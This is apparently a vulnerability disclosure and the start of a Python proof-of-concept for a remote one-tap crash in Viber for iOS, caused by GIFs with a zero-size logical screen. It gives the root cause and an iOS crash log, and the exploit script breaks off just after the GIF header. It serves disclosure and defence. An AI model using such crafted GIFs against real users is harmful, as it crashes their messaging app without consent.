#!/usr/bin/env python # # # Rakuten Viber (iOS) 29.4 Zero-Size Logical Screen GIF Remote 1-Tap Crash # # # Vendor: Viber Media S.a.r.l. # Product web page: https://www.viber.com # Affected version: 29.4.0.24, 29.3, 29.2.2, 29.1.2 # # Summary: Viber is a calling and messaging app that connects # people - no matter who they are, or where they’re from. Each # month, hundreds of millions of people connect, for free, with # their loved ones via messaging, high-quality voice and video # calls, and more. All one-on-one Viber calls and personal chats, # and all group chats are protected by built-in end-to-end encryption, # so you can be sure that your conversations are always secure. # # Desc: Viber for iOS doesn't validate the logical screen dimensions # in the header of a received GIF. When the user opens the GIF, # Viber builds a placeholder image sized from those dimensions by # calling +[UIImage(Utils) imageWithColor:size:opaque:] (in ViberCoreUILegacy), # which calls UIKit’s UIGraphicsBeginImageContextWithOptions. If # the width or the height is zero, UIKit can't create the bitmap # and raises an NSInternalInconsistencyException. Viber doesn't # catch it, so the app aborts with SIGABRT on the main thread. Viber's # servers relay the GIF unchanged, so any user can deliver it to # any other user. Every GIF with a zero-width or zero-height canvas # tested this way crashed, static and animated alike. # # ----------------------------------------------------------------- # Analytics Logs (.ips): # ---------------------- # {"app_name":"Viber","timestamp":"2026-11-09 22:05:46.00 +0100", # "app_version":"29.4.0","adam_id":"382617920","build_version":"29.4.0.24", # "bundleID":"com.viber","platform":2,"share_with_app_devs":0, # "is_first_party":0,"bug_type":"309","os_version":"iPhone OS 27.2 (24B119)", # "roots_installed":0,"incident_id":"5CFE1C40-0D20-4443-A66E-1AB9BA871C19", # "name":"Viber"} # { # "uptime" : 280000, # "procRole" : "Foreground", # "version" : 2, # "userID" : 501, # "deployVersion" : 210, # "modelCode" : "iPhone16,1", # "coalitionID" : 4187, # "osVersion" : { # "isEmbedded" : true, # "train" : "iPhone OS 27.2", # "releaseType" : "User", # "build" : "24B119" # }, # "pid" : 21071, # "translated" : false, # "cpuType" : "ARM-64", # "procLaunch" : "2026-11-09 20:37:38.3911 +0100", # "procStartAbsTime" : 6706306205584, # "procExitAbsTime" : 6753586345883, # "procName" : "Viber", # "bundleInfo" : {"CFBundleShortVersionString":"29.4.0", # "CFBundleVersion":"29.4.0.24","CFBundleIdentifier":"com.viber", # "DTAppStoreToolsBuild":"27B52"}, # "storeInfo" : {"itemID":"382617920", # "distributorID":"com.apple.AppStore" # "deviceIdentifierForVendor":"44BF00D1-D4F8-4E51-AC41-5254EC95F1CC", # "softwareVersionExternalIdentifier":"894478921", # "applicationVariant":"1:iPhone16,1:18","thirdParty":true}, # "parentProc" : "launchd", # "parentPid" : 1, # "coalitionName" : "com.viber", # "crashReporterKey" : "ff3c01a9c2d8cf219890b9b70be7316a4d5ceb35", # "bootProgressRegister" : "0x2080000c", # "wasUnlockedSinceBoot" : 1, # "isLocked" : 0, # "codeSigningID" : "com.viber", # "codeSigningTeamID" : "86ZW9CB9ZQ", # "codeSigningFlags" : 570450689, # "codeSigningValidationCategory" : 4, # "codeSigningTrustLevel" : 5, # "codeSigningAuxiliaryInfo" : 0, # "bootSessionUUID" : "8516C25F-E44E-47A8-A493-582D75EEE341", # "basebandVersion" : "4.02.05", # "exception" : {"codes":"0x0000000000000000, 0x0000000000000000","rawCodes":[0,0], # "type":"EXC_CRASH","signal":"SIGABRT"}, # "termination" : {"flags":0,"code":6,"namespace":"SIGNAL","indicator":"Abort trap: 6", # "byProc":"Viber","byPid":21071}, # "asi" : {"libsystem_c.dylib":["abort() called"]}, # ... # ... # ----------------------------------------------------------------- # # Tested on: iOS 27.2 (24B119) # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2026-6039 # Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6039 # # # 22.10.2026 # # import struct gif = ( b"GIF87a" + struct.pack("